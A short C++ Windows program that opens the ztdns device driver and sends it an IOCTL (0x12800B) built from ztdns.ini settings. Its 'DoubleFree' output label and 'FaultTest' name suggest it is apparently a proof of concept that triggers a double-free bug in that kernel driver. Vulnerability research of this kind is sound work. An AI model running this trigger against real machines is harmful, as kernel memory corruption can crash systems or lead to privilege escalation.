// MyFaultTest.cpp : This file contains the 'main' function. Program execution begins and ends there.
//
#include <iostream>
#include <Windows.h>

#include "ntdll.h"
#pragma comment(lib, "ntdll")

#include <shlwapi.h>
#pragma comment(lib, "Shlwapi.lib")

struct _ZT_GLOBAL_PROPERTIES
{
	bool fEnableFilters;
	bool fPersistFilters;
	bool fAuditMode;
	bool fAllowMdns;
	bool fAllowPlaintextDns;
	bool fBlockLocalIps;
	bool fAllowIcsDhcpServer;
	DWORD dwUnicastLifetime;
	DWORD MaxRecordAge;
};


_ZT_GLOBAL_PROPERTIES GetConfig() {

	_ZT_GLOBAL_PROPERTIES Properties = { 0 };

	WCHAR szIniPath[MAX_PATH + 1] = { 0 };

	GetModuleFileName(NULL, szIniPath, MAX_PATH);
	PathRemoveFileSpec(szIniPath);
	PathAppendW(szIniPath, L"ztdns.ini");


	UINT fEnableFilters = GetPrivateProfileIntW(L"Config", L"fEnableFilters", 0, szIniPath);
	UINT fPersistFilters = GetPrivateProfileIntW(L"Config", L"fPersistFilters", 0, szIniPath);
	UINT fAuditMode = GetPrivateProfileIntW(L"Config", L"fAuditMode", 0, szIniPath);
	UINT fAllowMdns = GetPrivateProfileIntW(L"Config", L"fAllowMdns", 0, szIniPath);
	UINT fAllowPlaintextDns = GetPrivateProfileIntW(L"Config", L"fAllowPlaintextDns", 0, szIniPath);
	UINT fBlockLocalIps = GetPrivateProfileIntW(L"Config", L"fBlockLocalIps", 0, szIniPath);
	UINT fAllowIcsDhcpServer = GetPrivateProfileIntW(L"Config", L"fAllowIcsDhcpServer", 0, szIniPath);
	UINT dwUnicastLifetime = GetPrivateProfileIntW(L"Config", L"dwUnicastLifetime", 0, szIniPath);
	UINT MaxRecordAge = GetPrivateProfileIntW(L"Config", L"MaxRecordAge", 0, szIniPath);


	Properties.fEnableFilters = fEnableFilters;
	Properties.fPersistFilters = fPersistFilters;
	Properties.fAuditMode = fAuditMode;
	Properties.fAllowMdns = fAllowMdns;
	Properties.fAllowPlaintextDns = fAllowPlaintextDns;
	Properties.fBlockLocalIps = fBlockLocalIps;
	Properties.fAllowIcsDhcpServer = fAllowIcsDhcpServer;
	Properties.dwUnicastLifetime = dwUnicastLifetime;
	Properties.MaxRecordAge = MaxRecordAge;

	return Properties;
}

void ZtSetGlobalProperties(IN HANDLE hDevice) {

	DWORD   InputBufferLength = 0x10;
	PVOID   InputBuffer = malloc(InputBufferLength);

	DWORD   OutputBufferLength = 0x10;
	PVOID   OutputBuffer = malloc(OutputBufferLength);

	memset(InputBuffer, 0, InputBufferLength);
	memset(OutputBuffer, 0, OutputBufferLength);


	IO_STATUS_BLOCK IoStatusBlock = { 0 };

	_ZT_GLOBAL_PROPERTIES* pProperties = (_ZT_GLOBAL_PROPERTIES*)InputBuffer;

	_ZT_GLOBAL_PROPERTIES Properties = GetConfig();

	*pProperties = Properties;

	NTSTATUS Status = NtDeviceIoControlFile(
		hDevice,
		NULL,
		NULL,
		NULL,
		&IoStatusBlock,
		0x12800B,
		InputBuffer,
		InputBufferLength,
		OutputBuffer,
		OutputBufferLength);
	printf("DoubleFree Status=0x%x\t\tGle=0x%x\t\tReturnBytes=0x%x\n", Status, GetLastError(), IoStatusBlock.Information);

	for (int i = 0; i < OutputBufferLength; ++i) {
		printf("%x", *((char*)OutputBuffer + i));
	}
}

HANDLE OpenDevice() {
	HANDLE hDevice = NULL;

	PCWSTR lpcwName = L"\\Device\\ztdns\\xxx";
	UNICODE_STRING usName = { 0 };

	RtlInitUnicodeString(&usName, (PWSTR)lpcwName);

	OBJECT_ATTRIBUTES ObjectAttributes = { 0 };
	InitializeObjectAttributes(&ObjectAttributes, &usName, OBJ_CASE_INSENSITIVE, NULL, NULL);
	IO_STATUS_BLOCK IoStatusBlock = { 0 };

	NTSTATUS Status = NtCreateFile(&hDevice, FILE_READ_DATA | FILE_WRITE_DATA, &ObjectAttributes, &IoStatusBlock, 0, 0,
		FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE, FILE_CREATE, 0, NULL, 0);

	printf("OpenDevice Status=0x%x\t\tDevice=0x%0x\t\tGle=0x%x\t\tReturnBytes=0x%x\n", Status, hDevice, GetLastError(), IoStatusBlock.Information);

	return hDevice;
}

int wmain(int argc, WCHAR* argv[])
{
	HANDLE hDevice = OpenDevice();

	ZtSetGlobalProperties(hDevice);

	getchar();
}
